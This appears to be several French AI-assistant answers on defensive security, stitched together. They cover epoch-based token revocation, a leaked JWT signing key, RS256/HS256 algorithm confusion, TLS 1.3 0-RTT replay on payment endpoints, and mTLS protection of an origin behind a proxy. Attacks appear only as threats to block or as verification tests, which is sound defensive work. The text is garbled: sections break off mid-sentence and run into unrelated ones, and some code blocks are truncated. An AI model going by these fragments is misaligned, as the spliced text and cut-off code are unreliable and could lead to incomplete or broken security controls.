### 3.3 Comportement en partition
| Situation | Comportement imposé |
|---|---|
| R2 perd le quorum, bail valide | Accepte encore, au plus pendant $\delta$ |
| R2 perd le quorum, bail expiré | Refuse tout (fail closed), opérations sensibles refusées en premier |
| Révocation émise pendant la partition | Committée au quorum, R2 la respectera au plus tard à l'expiration du bail |
| Quorum perdu globalement | Aucune révocation ne peut être garantie ; alerte et mode dégradé lecture seule |
### 3.4 Esquisse du validateur
Extrait de conception, **non exécuté** : je ne dispose ni de votre code, ni de votre schéma, ni de votre environnement. À traiter comme une spécification exécutable à adapter et à tester, pas comme un livrable validé.
```python
import time
from dataclasses import dataclass
SENSITIVE_ACTIONS = frozenset({"payment", "grant_role", "data_export"})
@dataclass(frozen=True)
class Lease:
subject_epochs: dict # sujet -> epoch minimale acceptable
expires_at_monotonic: float # horloge monotone locale
clock_skew_margin_s: float # marge de dérive provisionnée
class Deny(Exception):
"""Refus d'autorisation. Le motif ne doit jamais contenir le jeton."""
class Validator:
def __init__(self, lease_store, quorum_client, bloom_recent_revocations):
self._leases = lease_store
self._quorum = quorum_client
self._bloom = bloom_recent_revocations
def authorize(self, subject_id: str, token_epoch: int, action: str) -> bool:
# 1. Actions sensibles : lecture linéarisable obligatoire, pas de cache.
if action in SENSITIVE_ACTIONS:
return self._authorize_synchronous(subject_id, token_epoch)
# 2. Bloom : faux positifs tolérés, faux négatifs impossibles.
if self._bloom.might_contain(subject_id):
return self._authorize_synchronous(subject_id, token_epoch)
# 3. Chemin rapide sous bail, avec marge de dérive d'horloge.
lease = self._leases.current()
if lease is None:
raise Deny("no_valid_lease") # fail closed
if time.monotonic() >= lease.expires_at_monotonic - lease.clock_skew_margin_s:
raise Deny("lease_expired") # fail closed
if token_epoch < lease.subject_epochs.get(subject_id, 0):
raise Deny("epoch_revoked")
return True
def _authorize_synchronous(self, subject_id: str, token_epoch: int) -> bool:
# Echoue en mode ferme si le quorum est injoignable.
current = self._quorum.read_epoch_linearizable(subject_id)
if token_epoch < current:
raise Deny("epoch_revoked")
return True
```
Points de sécurité non négociables dans l'implémentation : requêtes paramétrées côté registre, jamais de jeton ni de secret dans un journal (même haché) ni dans une URL, TLS mutuel entre régions avec identités de service distinctes, moindre privilège sur le registre (le rôle applicatif lit ; seul un rôle d'administration incrémente les époques ; aucun rôle global), secrets dans un coffre avec rotation, et journal d'audit des révocations à chaînage cryptographique dont l'ancre externe est un condensat $h_k$ avec $k \geq i$ pour engager réellement l'enregistrement $R_i$, conservée hors de portée d'un attaquant ayant accès au système.
## 4. Vérification
Sans mesure, la garantie annoncée n'est qu'une intention. Quatre contrôles.
1. **Métrique directe de la fenêtre d'exposition** : pour chaque révocation, $\Delta_{\text{mesuré}} = t(\text{dernière acceptation}) - t(\text{commit révocation})$, corrélé par identifiant de session entre le journal de révocation et les journaux d'accès des deux régions. Publiez le p99 et le maximum, pas la moyenne. C'est ce chiffre, et lui seul, qui prouve la conformité.
2. **Tests de linéarisabilité sous injection de fautes** : partition réseau, latence asymétrique, perte du leader, dérive d'horloge forcée. Vérifiez## Diagnostic préalable
Une clé **privée de signature** exfiltrée ne se traite pas comme un jeton volé. Trois distinctions décident de la réponse (cadre classique intégrité / authenticité / confidentialité / disponibilité) :
- La propriété perdue est **l'authenticité** : l'attaquant peut désormais **forger** des jetons arbitraires (n'importe quel sujet, n'importe quels droits, n'importe quel `exp`), pas seulement rejouer ceux qui existent.
- **Correction d'une prémisse implicite** : « il reste 12 h de validité » ne borne **pas** la fenêtre de risque. Ce délai ne s'applique qu'aux jetons légitimes déjà émis. L'attaquant, détenant K1, signe des jetons d'expiration libre. Attendre l'expiration naturelle est donc une stratégie invalide.
- La confidentialité des données au repos n'est pas directement atteinte par la fuite d'une clé de signature, mais elle l'est **indirectement** par usurpation d'identité (accès applicatif légitime en apparence).
Les quatre actions ci-dessous sont ordonnées par priorité de réduction du risque. Le principe de révocation d'une clé compromise, plutôt que d'attente d'expiration, est celui retenu par les infrastructures à clés publiques : la compromission de la clé privée est un motif explicite d'invalidation, inscrit en liste de révocation, avec OCSP pour réduire le délai de propagation (article Wikipédia FR « X.509 », sections *Liste de révocation*). Les modalités opérationnelles détaillées qui suivent relèvent des bonnes pratiques d'ingénierie sécurité et non d'une source encyclopédique locale ; je les présente comme telles.
---
## Action 1, retirer K1 de l'ensemble des clés de **vérification** (immédiat)
C'est l'action décisive, et la plus souvent mal exécutée. Faire tourner la clé de signature ne suffit pas : tant que K1 reste dans le jeu de clés accepté en vérification (JWKS, trousseau du service, cache des passerelles), les jetons forgés restent valides.
1. Générer K2 dans un HSM ou un coffre, avec clé **non exportable**, nouvel identifiant de clé (`kid`) distinct.
2. Publier K2 en clé de vérification, **et supprimer K1 de la liste d'acceptation**, pas seulement de la liste de signature.
3. Purger les caches de clés : passerelle d'API, CDN, reverse proxy, réplicas, bibliothèques clientes à TTL long. Un JWKS mis en cache 24 h annule l'action 1.
4. Refuser par défaut tout jeton dont le `kid` est absent, nul, ou dont l'algorithme diffère de celui attendu (verrouillage explicite de l'algorithme, refus de `none` et de toute substitution asymétrique vers symétrique).
Conséquence assumée : **déconnexion globale** et réauthentification de tous les utilisateurs. C'est un coût de disponibilité accepté volontairement pour restaurer l'authenticité. Cette décision doit être validée par l'autorité d'exploitation, avec un point de retour arrière documenté (bascule sur K2 réversible côté configuration, jamais par réintroduction de K1).
Si un retrait instantané est jugé impossible pour raison de disponibilité critique, la seule position défendable est une fenêtre de tolérance **très courte** et bornée dans le temps, accompagnée de l'action 2, jamais une tolérance de 12 h.
## Action 2, reprendre le contrôle de l'état des sessions côté serveur
Un jeton auto-porteur signé par une clé compromise n'est plus une preuve. Il faut réintroduire une vérification d'état, que l'attaquant ne peut pas fabriquer.
1. Invalider en base l'ensemble des sessions et des jetons de rafraîchissement, avec rotation obligatoire à la réémission.
2. Exiger, pour chaque requête, la correspondance entre le jeton et un enregistrement de session existant côté serveur (identifiant de session opaque, aléatoire cryptographique). Un jeton forgé n'a pas d'enregistrement correspondant.
3. Imposer une réauthentification forte (MFA) sur les actions sensibles : changement de mot de passe, d'adresse de contact, de moyen de paiement, export de données, opérations d'administration.
4. Réduire temporairement les TTL et restreindre les privilèges administratifs au strict minimum, le temps de l'investigation.
## Action 3, investigation forensique et détermination du périmètre réel
À conduire en parallèle, sans jamais retarder les actions 1 et 2.
1. **Préserver les preuves avant toute remédiation destructive** : instantanés des machines, copie des journaux d'authentification, d'accès et d'audit vers un stockage en écriture unique, hors de portée de l'attaquant.
2. Sur les journaux à chaînage `h_i = H(R_i, h_{i-1})`, l'ancre de confiance doit être un condensat `h_k` avec `k ≥ i` pour engager l'enregistrement `R_i`, conservée hors du système compromis. Une ancre antérieure ne détecte rien, l'attaquant recalculant la chaîne à partir de `h_{i-1}`.
3. Chercher les indices d'exploitation : jetons présentant le `kid` de K1 hors des flux d'émission légitimes, sessions sans enregistrement serveur associé, `iat` ou `exp` anormaux, durées de vie inhabituelles, adresses IP et empreintes client incohérentes, élévations de privilèges.
4. Déterminer le **vecteur** et la **fenêtre d'exposition**. Poser l'hypothèse de travail prudente : **tout secret accessible depuis le même contexte que K1 doit être présumé compromis** (autres clés, jetons de service, identifiants de base de données, clés d'API, secrets de CI). Les faire tourner également.
5. Vérifier si des données personnelles ont pu être atteintes. Une obligation de notification peut alors s'appliquer ; ce point doit être qualifié par le responsable conformité, je ne fournis pas d'analyse juridique.
## Action 4, reconstruction durcie et vérification de l'efficacité
1. Clés de signature en HSM ou KMS, **non exportables**, avec signature déportée : la clé ne transite jamais dans le processus applicatif.
2. Rotation programmée avec chevauchement des `kid`, procédure de révocation d'urgence **testée** et non seulement écrite, incluant l'invalidation du cache JWKS.
3. Détection : alerte sur toute signature portant un `kid` retiré, sur tout écart entre volume de jetons émis et sessions créées, sur les accès sans enregistrement de session.
4. Séparation des droits, moindre privilège, absence de secret en clair dans le code, les images, les variables d'environnement journalisées ou les URL. Un secret ne doit jamais apparaître dans un journal, même haché.
**Vérification exigible avant clôture** (un code de retour ou une configuration poussée ne prouve pas le résultat) :
| Contrôle | Preuve attendue |
|---|---|
| Rejet des jetons signés par K1 | Un jeton de test signé avec K1 renvoie 401 sur **chaque** service et chaque passerelle |
| Absence de K1 en vérification | Inspection du JWKS servi depuis plusieurs points de présence, après expiration des caches |
| Sessions invalidées | Un jeton légitime antérieur à l'incident est refusé |
| Verrouillage d'algorithme | Jetons `alg: none` et algorithme substitué rejetés |
| Périmètre des secrets | Journal de rotation de tous les secrets co-localisés |
---
## Risques résiduels, à ne pas passer sous silence
- **Aucune de ces actions ne rend l'incident « sans risque ».** Si l'attaquant a exploité K1 avant l'action 1, il peut avoir établi une persistance indépendante de la clé : compte créé, jeton d'API, clé publique SSH ajoutée, règle de redirection, dispositif MFA enrôlé. Ces artefacts survivent à la rotation et doivent être recherchés explicitement.
- L'absence de trace d'exploitation dans les journaux **ne prouve pas** l'absence d'exploitation : la journalisation peut être incomplète, ou avoir été altérée si l'attaquant disposait d'un accès suffisant.
- L'action 1 provoque une interruption de service perçue. Ce compromis disponibilité contre authenticité doit être décidé et tracé, pas subi.
- Je ne dispose d'aucune information sur votre architecture réelle. Ces recommandations sont génériques ; l'ordre 1 puis 2 puis 3 puis 4 reste valide, mais les modalités doivent être confrontées à vos dépendances effectives, notamment les TTL de cache de clés, que je ne peux pas vérifier.**Vulnérabilité :** confusion d’algorithmes JWT/JWS, aussi appelée attaque RS256 vers HS256. Si le vérificateur choisit l’algorithme depuis le champ non fiable `alg` et accepte HS256 avec la clé publique RSA comme secret HMAC, un attaquant connaissant cette clé publique peut fabriquer un jeton HS256 accepté à tort comme authentique (RFC 8725, §2.1 : https://www.rfc-editor.org/rfc/rfc8725.html#section-2.1 ; l’extrait fourni indique que le champ d’en-tête `alg` identifie l’algorithme et distingue HS256 de RS256, source locale : `/content/wikipedia_en/JSON_Web_Token`). **Contrôle d’algorithme :** imposer côté serveur une liste fermée contenant uniquement l’algorithme attendu pour cet émetteur, ici `RS256`, puis refuser le jeton avant toute vérification si `alg !== "RS256"`. La bibliothèque doit également recevoir explicitement cette restriction et ne jamais déduire seule les algorithmes autorisés de la clé ou du jeton (RFC 8725, §3.1 : https://www.rfc-editor.org/rfc/rfc8725.html#section-3.1). **Contrôle de clé :** séparer strictement les clés par algorithme et par usage. Pour RS256, utiliser exclusivement une clé publique RSA validée comme clé de vérification RSA, sélectionnée depuis une configuration de confiance, et ne jamais transmettre cette matière de clé à un vérificateur HMAC. HS256 emploie une clé secrète partagée, tandis que RS256 repose sur RSA avec SHA-256, leurs exigences de clé ne sont donc pas interchangeables (RFC 7518, §3.2 et §3.3 : https://www.rfc-editor.org/rfc/rfc7518.html#section-3.2 et https://www.rfc-editor.org/rfc/rfc7518.html#section-3.3). **Verdict :** configuration vulnérable et à refuser. Le jeton ne doit être accepté que si l’algorithme configuré est exactement `RS256`, si la clé est explicitement une clé publique RSA autorisée pour cet émetteur, et si la signature ainsi que les claims requis sont ensuite validés. La seule valeur `alg=RS256` présente dans les données non fiables ne constitue pas un contrôle de sécurité suffisant (RFC 8725, §2.1 et §3.1 : https://www.rfc-editor.org/rfc/rfc8725.html#section-2.1 ; https://www.rfc-editor.org/rfc/rfc8725.html#section-3.1).
## 1. Diagnostic, propriété exacte du 0-RTT
**Ce que 0-RTT garantit** (early data TLS 1.3) :
| Propriété | Statut en early data 0-RTT |
|---|---|
| Confidentialité | **Oui**, chiffrement AEAD sous une clé dérivée du PSK |
| Intégrité | **Oui**, l'AEAD détecte toute altération d'un octet |
| Authenticité du serveur | **Oui**, mais par possession du PSK, pas par une signature fraîche du handshake en cours |
| Forward secrecy | **Non** pour les early data : elles sont protégées par une clé dérivée du PSK, donc la compromission ultérieure du PSK ou du ticket les expose |
| **Non-rejeu (anti-replay)** | **Non garanti par le protocole** |
Le point central est donc le suivant : **le rejeu n'est pas une faille d'implémentation, c'est une propriété absente par conception du 0-RTT**. Un attaquant réseau qui capture le paquet d'early data peut le réinjecter vers le même serveur ou vers un autre membre du cluster, sans casser ni le chiffrement ni l'intégrité, puisqu'il ne modifie rien : il **rejoue un message authentique**. Intégrité et non-rejeu sont deux propriétés distinctes, et ici seule la première est fournie.
La spécification TLS 1.3 (RFC 8446, section 2.3 « 0-RTT Data » et section 8 « 0-RTT and Anti-Replay ») décrit des mitigations, tickets à usage unique et fenêtre de fraîcheur ClientHello, et énonce explicitement qu'elles ne constituent **pas** une garantie de non-rejeu, notamment en présence de plusieurs serveurs ne partageant pas d'état. La conclusion normative est que l'application ne doit envoyer en early data que des données **rejouables sans conséquence**. Pour HTTP, le profil applicable est le RFC 8470 « Using Early Data in HTTP », qui introduit le code de statut **425 Too Early** et recommande de ne pas traiter en early data les requêtes non idempotentes. *Précision d'honnêteté : je cite ces deux RFC de mémoire ; mes outils locaux m'ont permis de confirmer le cadre général de TLS 1.3 (article Wikipédia « Transport Layer Security », qui note d'ailleurs que DTLS 1.3 offre des garanties équivalentes à TLS 1.3 « with the exception of order protection/non-replayability »), mais pas de relire le texte exact des sections citées. Vérifiez sur rfc-editor.org avant usage en document normatif.*
Un POST de paiement est par nature non idempotent : le rejouer, c'est débiter deux fois. **La prémisse « on peut envoyer un POST de paiement en 0-RTT » est donc à rejeter, pas à sécuriser.**
## 2. Décision endpoint
**Refus par défaut (fail closed) des early data sur tout endpoint mutatif, et en particulier sur la route de paiement.**
Trois niveaux, à appliquer ensemble :
1. **Terminaison TLS** : `ssl_early_data off` par défaut sur le vhost qui porte l'API de paiement. C'est la mesure la plus sûre, car elle supprime le vecteur au lieu de le filtrer.
2. **Si 0-RTT est activé ailleurs pour la performance** (assets statiques, GET de catalogue), propagez l'information à l'application et **rejetez en 425 Too Early** toute requête mutative arrivée en early data, ce qui force le client conforme à rejouer la requête **après** la fin du handshake, donc en 1-RTT authentifié et frais.
3. **Défaut applicatif sûr** : si l'en-tête d'état early data est absent ou non reconnu, l'application doit considérer la requête comme **potentiellement rejouable** et refuser, jamais l'inverse. Un en-tête manquant ne prouve pas l'absence d'early data.
À ne pas faire : compter sur les tickets à usage unique ou la fenêtre de fraîcheur comme protection suffisante. Ce sont des réducteurs de probabilité, pas des garanties, et ils s'effondrent en cluster multi-nœuds sans état partagé.
## 3. Alternative technique
L'objectif du 0-RTT est de supprimer un aller-retour. On récupère le gain sans le risque :
| Alternative | Effet | Coût / limite |
|---|---|---|
| **Handshake complet 1-RTT** avec reprise de session (PSK sans early data) | Sécurité pleine, non-rejeu assuré par la fraîcheur du handshake | +1 RTT sur la première requête seulement |
| **Réutilisation de connexion** HTTP/2 ou HTTP/3 : la connexion est déjà établie quand l'utilisateur valide le paiement | Le paiement part sur une connexion chaude, coût de handshake nul | Nécessite keep-alive et un pool côté client |
| **Pré-chauffage** : au chargement de la page de paiement, une requête **idempotente** (GET de préparation, obtention d'un nonce serveur) ouvre la connexion ; le POST suit sur la même connexion | Supprime le RTT perçu par l'utilisateur | Un aller-retour supplémentaire mais hors chemin critique perçu |
| **0-RTT réservé aux GET sûrs** sur un hostname distinct de l'API de paiement | Gain de latence là où le rejeu est inoffensif | Séparation de vhosts à maintenir |
La bonne réponse d'architecture est la combinaison : 0-RTT sur le domaine statique, connexion pré-chauffée et 1-RTT strict sur le domaine de paiement.
## 4. Protection métier, indispensable même sans 0-RTT
Le transport ne doit jamais être la seule barrière contre le double débit : un client peut aussi rejouer par retry réseau, double-clic, ou reprise après timeout. La défense de référence est l'**idempotence applicative**.
**Mécanisme :**
- Le client génère une **clé d'idempotence** (UUIDv4) par intention de paiement, et la renvoie identique sur toutes ses tentatives.
- Le serveur enregistre la clé de façon **atomique** avant tout appel au PSP, dans une table à contrainte d'unicité, portée par tenant.
- La clé est liée à une **empreinte de la charge utile canonique** : même clé et empreinte différente signifie tentative de substitution, réponse 409/422.
- Sur clé déjà connue : renvoyer la **réponse mémorisée**, sans réexécuter l'appel au PSP.
- Deuxième ligne de défense indépendante : **contrainte d'unicité métier** sur la référence externe du paiement, et **machine à états** du paiement interdisant deux transitions vers « capturé ».
- Troisième ligne : **nonce serveur à usage unique** délivré à l'ouverture du formulaire, consommé au POST. Il empêche un rejeu réseau pur, car un rejeu réutilise un nonce déjà consommé.
- Fenêtre temporelle : horodatage signé côté serveur, requête refusée hors fenêtre courte.
Ces quatre mécanismes sont indépendants : c'est de la défense en profondeur, chacun couvre les angles morts des autres.
## 5. Code
### 5.1 Terminaison TLS, nginx
```nginx
# Vhost API de paiement : 0-RTT interdit, sans exception.
server {
listen 443 ssl;
http2 on;
server_name pay.example.com;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_early_data off; # decision principale : suppression du vecteur
# Interdit aussi la reprise sans etat cote client si non necessaire
ssl_session_tickets on;
ssl_session_timeout 10m;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
location /api/ {
# Defense en profondeur : on informe l'app, et on neutralise
# toute valeur d'en-tete injectee par le client.
proxy_set_header Early-Data $ssl_early_data; # vaut "" ici puisque off
proxy_set_header X-Request-Id $request_id;
proxy_pass http://app_upstream;
}
}
# Vhost statique : 0-RTT autorise, GET seulement, aucun etat metier.
server {
listen 443 ssl;
http2 on;
server_name static.example.com;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_early_data on;
location / {
limit_except GET HEAD { deny all; }
root /var/www/static;
}
}
```
Note de vérification : `$ssl_early_data` vaut `1` lorsque la requête a été reçue en early data TLS 1.3 et que le handshake n'est pas terminé, et la chaîne vide sinon. La directive `ssl_early_data` existe depuis nginx 1.15.4. *Ces éléments sont issus de ma mémoire de la documentation nginx et n'ont pas été vérifiés par mes outils ; confirmez sur nginx.org/en/docs/http/ngx_http_ssl_module.html.*
### 5.2 Garde applicative 425 Too Early, FastAPI
```python
# security/early_data.py
from fastapi import Request
from fastapi.responses import JSONResponse
from starlette.middleware.base import BaseHTTPMiddleware
MUTATING_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"})
# Routes ou le rejeu a un effet metier irreversible.
SENSITIVE_PREFIXES = ("/api/payments", "/api/transfers", "/api/refunds")
class RejectEarlyDataMiddleware(BaseHTTPMiddleware):
"""Refuse toute requete mutative arrivee en TLS 1.3 early data.
Politique fail closed : si l'en-tete d'etat est absent ou non reconnu
alors que le proxy est cense le poser, on considere la requete comme
non fiable. Le drapeau trust_header_present dit si l'infrastructure
garantit la presence de l'en-tete.
"""
def __init__(self, app, *, trust_header_present: bool = True):
super().__init__(app)
self.trust_header_present = trust_header_present
async def dispatch(self, request: Request, call_next):
is_mutating = request.method in MUTATING_METHODS
is_sensitive = request.url.path.startswith(SENSITIVE_PREFIXES)
if is_mutating or is_sensitive:
raw = request.headers.get("early-data")
if raw == "1":
return self._too_early()
if raw not in ("", "0", None):
# Valeur inattendue : on ne devine pas, on refuse.
return self._too_early()
if raw is None and not self.trust_header_present:
return self._too_early()
return await call_next(request)
@staticmethod
def _too_early() -> JSONResponse:
return JSONResponse(
status_code=425,
content={
"error": "too_early",
"message": (
"Requete recue en TLS early data. Rejouez-la apres "
"achevement du handshake."
),
},
# Signale au client conforme (RFC 8470) de reessayer en 1-RTT.
headers={"Connection": "close"},
)
```
Attention à un piège de sécurité : `Early-Data` est un en-tête **posé par le proxy**, jamais par le client. Le `proxy_set_header` de la section 5.1 l'écrase systématiquement, ce qui neutralise une injection par le client. Si votre chaîne comporte plusieurs proxys, vérifiez que chacun l'écrase, sinon un client hostile peut faire croire `Early-Data: 0`, ou inversement provoquer un déni de service en forçant des 425.
### 5.3 Schéma d'idempotence, PostgreSQL
```sql
-- Migration : role de migration, distinct du role runtime.
CREATE TABLE payment_idempotency (
account_id uuid NOT NULL,
idempotency_key text NOT NULL,
request_digest bytea NOT NULL, -- SHA-256 du payload canonique
state text NOT NULL
CHECK (state IN ('in_progress', 'succeeded', 'failed')),
response_status integer,
response_body jsonb,
payment_id uuid,
created_at timestamptz NOT NULL DEFAULT now(),
expires_at timestamptz NOT NULL,
CONSTRAINT payment_idempotency_pk PRIMARY KEY (account_id, idempotency_key),
CONSTRAINT payment_idempotency_key_len CHECK (char_length(idempotency_key) BETWEEN 16 AND 128),
CONSTRAINT payment_idempotency_terminal_has_response CHECK (
state = 'in_progress' OR response_status IS NOT NULL
)
);
CREATE INDEX payment_idempotency_expires_idx ON payment_idempotency (expires_at);
-- Deuxieme barriere, independante de la clef d'idempotence :
-- une seule capture par reference externe.
CREATE UNIQUE INDEX payments_external_ref_uidx
ON payments (account_id, external_reference)
WHERE external_reference IS NOT NULL;
-- Nonce a usage unique du formulaire de paiement.
CREATE TABLE payment_nonce (
nonce bytea PRIMARY KEY, -- 32 octets aleatoires CSPRNG
account_id uuid NOT NULL,
consumed_at timestamptz,
expires_at timestamptz NOT NULL
);
-- Moindre privilege : le role applicatif n'est ni proprietaire ni createur.
GRANT SELECT, INSERT, UPDATE ON payment_idempotency TO app_runtime;
GRANT SELECT, UPDATE ON payment_nonce TO app_runtime;
GRANT SELECT, INSERT, UPDATE ON payments TO app_runtime;
-- Aucun DELETE ici : la purge des enregistrements expires est confiee
-- a un role de maintenance distinct.
```
### 5.4 Traitement idempotent, requêtes paramétrées
```python
# payments/idempotency.py
import hashlib
import json
from dataclasses import dataclass
from datetime import datetime, timedelta, timezone
import asyncpg
RETENTION = timedelta(hours=24)
class IdempotencyConflict(Exception):
"""Meme clef, charge utile differente : tentative de substitution."""
class RequestInFlight(Exception):
"""Une execution concurrente porte deja cette clef."""
@dataclass(frozen=True)
class StoredResponse:
status: int
body: dict
def canonical_digest(payload: dict) -> bytes:
"""Empreinte stable du payload : cles triees, separateurs fixes."""
canonical = json.dumps(
payload, sort_keys=True, separators=(",", ":"), ensure_ascii=False
).encode("utf-8")
return hashlib.sha256(canonical).digest()
async def claim(
conn: asyncpg.Connection,
*,
account_id: str,
key: str,
payload: dict,
) -> StoredResponse | None:
"""Reserve la clef de facon atomique.
Retourne None si l'appelant doit executer le paiement,
ou la reponse memorisee si la requete a deja abouti.
"""
digest = canonical_digest(payload)
now = datetime.now(timezone.utc)
row = await conn.fetchrow(
"""
INSERT INTO payment_idempotency
(account_id, idempotency_key, request_digest, state, expires_at)
VALUES ($1, $2, $3, 'in_progress', $4)
ON CONFLICT (account_id, idempotency_key) DO NOTHING
RETURNING state
""",
account_id, key, digest, now + RETENTION,
)
if row is not None:
return None # Reservation obtenue : l'appelant execute.
existing = await conn.fetchrow(
"""
SELECT request_digest, state, response_status, response_body
FROM payment_idempotency
WHERE account_id = $1 AND idempotency_key = $2
""",
account_id, key,
)
if existing is None:
# Purge concurrente entre l'INSERT et le SELECT : on refuse plutot
# que de risquer une double execution.
raise RequestInFlight
# Comparaison a temps constant pour ne p## 1. Diagnostic du risque
Le défaut central est une **confiance implicite en une donnée d'origine externe**. Un en-tête HTTP n'est pas une preuve : il n'est authentifié que par la connexion qui le porte. Tant que l'origine reste joignable directement, la chaîne de confiance est brisée à sa racine.
| Risque | Mécanisme | Impact |
|---|---|---|
| Contournement d'authentification | Un tiers atteint l'origine sans passer par le proxy et forge lui-même l'en-tête de certificat | Usurpation de n'importe quel client mTLS, y compris privilégié |
| Injection via le proxy | Le client envoie déjà l'en-tête ; si le proxy ne l'écrase pas systématiquement, la valeur cliente arrive telle quelle | Même impact, sans même contourner le réseau |
| Duplication d'en-tête (header smuggling) | Deux occurrences du même nom, proxy et origine n'en retenant pas la même | Divergence de décision entre les deux couches |
| Journal empoisonné | L'identité tracée provient d'un champ falsifiable | Perte de valeur probante des traces, non-répudiation illusoire |
Point de rigueur : c'est une **faille d'authentification et d'autorisation**, pas un simple défaut de configuration. Elle ne se corrige pas par le filtrage de l'en-tête seul, ni par le filtrage réseau seul : les quatre volets ci-dessous sont cumulatifs (défense en profondeur, refus par défaut).
## 2. Restriction réseau
Objectif : l'origine ne doit **plus** être atteignable directement, et son exposition doit échouer en mode fermé.
1. **Supprimer l'exposition plutôt que la filtrer.** Solution préférable : connecteur en tunnel sortant, ou origine en réseau privé derrière un équilibreur interne. Aucun port 443 public, donc aucune liste d'adresses à maintenir.
2. Si l'exposition publique est inévitable : pare-feu en **refus par défaut**, autorisation du seul port 443 depuis les plages publiées du proxy, récupérées automatiquement et rafraîchies (une liste figée dérive et devient soit trouée, soit cassante).
3. **Limite structurelle à énoncer clairement** : filtrer les plages du proxy n'authentifie que « un client de cette plateforme », pas *votre* compte. Tout locataire de la même plateforme sort sur les mêmes adresses. Le filtrage IP est donc une réduction de surface, jamais une authentification.
4. Empêcher la découverte de l'origine : pas d'enregistrement DNS pointant l'IP réelle, vigilance sur les fuites classiques (enregistrements MX, historiques DNS, journaux de transparence des certificats, en-têtes et pages d'erreur applicatives, webhooks sortants).
5. Côté Nginx, un `server` par défaut qui refuse tout ce qui n'est pas attendu :
```nginx
server {
listen 443 ssl default_server;
ssl_reject_handshake on; # disponibilite selon la version de Nginx, a verifier
}
```
## 3. Authentification du proxy
Seule une preuve cryptographique de la connexion établit que la requête vient bien du proxy.
- **mTLS proxy vers origine** : le proxy présente un certificat client, l'origine exige et vérifie la chaîne.
- **Nuance décisive** : si le certificat client du proxy est émis par une autorité **mutualisée entre clients de la plateforme**, vérifier l'autorité seule ne suffit pas, cela authentifie la plateforme, pas votre compte. Il faut soit un certificat client dédié à votre organisation avec une autorité que vous contrôlez, soit épingler l'empreinte ou le sujet exact du certificat attendu. Je ne peux pas vérifier hors ligne l'état actuel de l'offre de l'éditeur sur ce point ; à confirmer dans sa documentation officielle avant mise en production.
- Ajout de défense en profondeur, jamais en remplacement : un secret partagé rotatif dans un en-tête, stocké dans un coffre, comparé en temps constant, **jamais journalisé**.
```nginx
map "$ssl_client_verify:$ssl_client_fingerprint" $proxy_ok {
default 0;
"SUCCESS:<empreinte_sha1_du_cert_proxy>" 1;
}
server {
listen 443 ssl;
server_name origine.example.com;
ssl_certificate /etc/nginx/tls/origin.crt;
ssl_certificate_key /etc/nginx/tls/origin.key;
ssl_client_certificate /etc/nginx/tls/proxy-ca.crt; # CA dediee, signe uniquement le proxy
ssl_verify_client on;
ssl_verify_depth 1;
if ($proxy_ok = 0) { return 403; }
...
}
```
## 4. Traitement de l'en-tête de certificat
Règle unique : **l'en-tête n'existe que si la connexion est authentifiée ; sinon il vaut vide.**
1. **Effacement à l'entrée.** Sur le proxy, supprimer toute occurrence entrante de l'en-tête avant de la réécrire. Sur l'origine, neutraliser la valeur quand `$ssl_client_verify` n'est pas `SUCCESS` :
```nginx
map $proxy_ok $client_cert_in {
default "";
1 $http_cf_client_cert; # nom exact a confirmer dans la doc de l'editeur
}
location / {
proxy_set_header X-Client-Cert $client_cert_in; # valeur derivee, jamais l'en-tete brut
proxy_pass http://app_backend;
}
```
2. **Tirets, pas de tirets bas.** Nginx ignore par défaut les en-têtes contenant des `_` (`underscores_in_headers off`), ce qui produit silencieusement une valeur vide, ou l'inverse selon la configuration. À vérifier par `nginx -T` et par un test réel.
3. **Occurrences multiples** : rejeter la requête (400) si l'en-tête apparaît plus d'une fois, plutôt que de choisir une occurrence. Ne pas présumer du comportement de fusion des deux couches, le mesurer.
4. **Validation défensive de la valeur** : format attendu (base64 DER strict), longueur maximale bornée avant tout décodage, `large_client_header_buffers` dimensionné, décodage dans un chemin qui traite l'échec comme un refus.
5. **Ne pas se contenter du drapeau « vérifié »** : contrôler côté application l'émetteur attendu, la validité temporelle, la révocation (CRL ou OCSP), puis faire l'autorisation sur une identité **mappée explicitement** vers un compte, objet par objet, côté serveur.
6. **Journalisation** : un certificat client n'est pas un secret mais contient des données identifiantes ; journaliser une empreinte ou un identifiant de sujet plutôt que le DER complet (minimisation RGPD).
## 5. Vérification
Tests à exécuter et à conserver comme non-régression :
1. `curl` direct vers l'IP d'origine, sans certificat client, avec l'en-tête forgé : attendu, refus TCP ou 403, jamais 200.
2. Même appel via le proxy avec l'en-tête forgé par le client : la valeur reçue par l'application doit être celle du proxy, pas celle du client.
3. Appel avec un certificat client valide mais émis par une autre autorité, ou avec une empreinte non épinglée : attendu 403.
4. Appel avec l'en-tête dupliqué : attendu 400.
5. Requête sur un `Host` inconnu : attendu refus.
6. Répéter la campagne après chaque rotation de certificat et après chaque mise à jour des plages IP.
## 6. Risques résiduels et limites
- **Aucune de ces mesures ne rend l'architecture « sans risque ».** Le proxy devient un point de confiance unique : sa compromission, ou celle de sa clé cliente, permet d'usurper tous les clients.
- La révocation du certificat client du proxy doit être opérationnelle et testée, sinon une clé volée reste valable jusqu'à expiration.
- Le filtrage par plages IP se périme ; sa mise à jour est un point de fragilité opérationnelle (fenêtre de désynchronisation).
- L'IP d'origine peut fuir par un canal annexe, ce qui réintroduit l'accès direct : c'est pourquoi le mTLS proxy vers origine, et non le filtrage réseau, constitue le contrôle primaire.
- Ce qui précède relève de principes d'ingénierie établis (défense en profondeur, refus par défaut, frontière de confiance, moindre privilège). Je n'ai pas consulté de source externe ; les éléments dépendants de l'éditeur, nom exact de l'en-tête, mutualisation de l'autorité de certification, version de Nginx supportant `ssl_reject_handshake`, sont signalés comme **à vérifier** dans la documentation officielle avant déploiement.## 1. Diagnostic : l'excès de privilège
**Besoin réel du bot :** créer puis supprimer **un seul** enregistrement, de type TXT, au nom `_acme-challenge.auth.lanxas.com`. C'est le mécanisme normal de la validation par DNS : le client rend le jeton d'autorisation disponible en créant un enregistrement DNS que l'autorité de certification vient lire (article Wikipedia EN « Automatic Certificate Management Environment », section Function ; la version 2 du protocole impose explicitement la modification d'un enregistrement TXT pour les certificats génériques).
**Privilège accordé :** écriture sur l'intégralité de la zone `lanxas.com`.
L'écart n'est pas quantitativement « un peu trop », il est qualitativement différent : le contrôle du DNS d'une zone **est** la preuve de contrôle du domaine dans l'écosystème PKI web. Conséquences d'une compromission du jeton, classées par propriété atteinte :
